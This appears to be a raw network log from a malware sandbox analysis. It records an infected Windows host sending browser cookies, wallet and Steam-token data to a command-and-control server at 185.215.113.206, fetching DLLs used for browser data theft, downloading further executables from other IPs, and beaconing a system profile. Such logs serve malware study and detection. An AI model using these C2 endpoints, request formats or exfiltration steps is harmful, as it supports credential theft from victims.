Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIIIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"browsers------ECAKECAEGDHIECBGHIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="message"plugins------CBGCBKFBGIIIECAAAKFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"fplugins------GDHDAEBGCAAFIDGCGDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJKHost: 185.215.113.206Content-Length: 7555Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKKEHJDHJKFIECAAKFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file"------CGIDGCGIEGDGDGDGHJKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="file"------CFBAFBFIEHIDBGDHCGIE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"wallets------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="message"files------IEHCAKKJDBKKFHJJDHII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file"------KKFCFBKFCFBFIDGCGDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"ybncbhylepme------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CGCFCBAKKFBFIECAEBAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: GET /files/Spreadtest.cmd HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 38 32 30 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010782021&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010787001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /iPbGOhXhjezIEpnuodWg1732963366 HTTP/1.1Host: home.twentykx20sb.topAccept: /Content-Type: application/jsonContent-Length: 445344Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 33 30 30 33 36 37 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 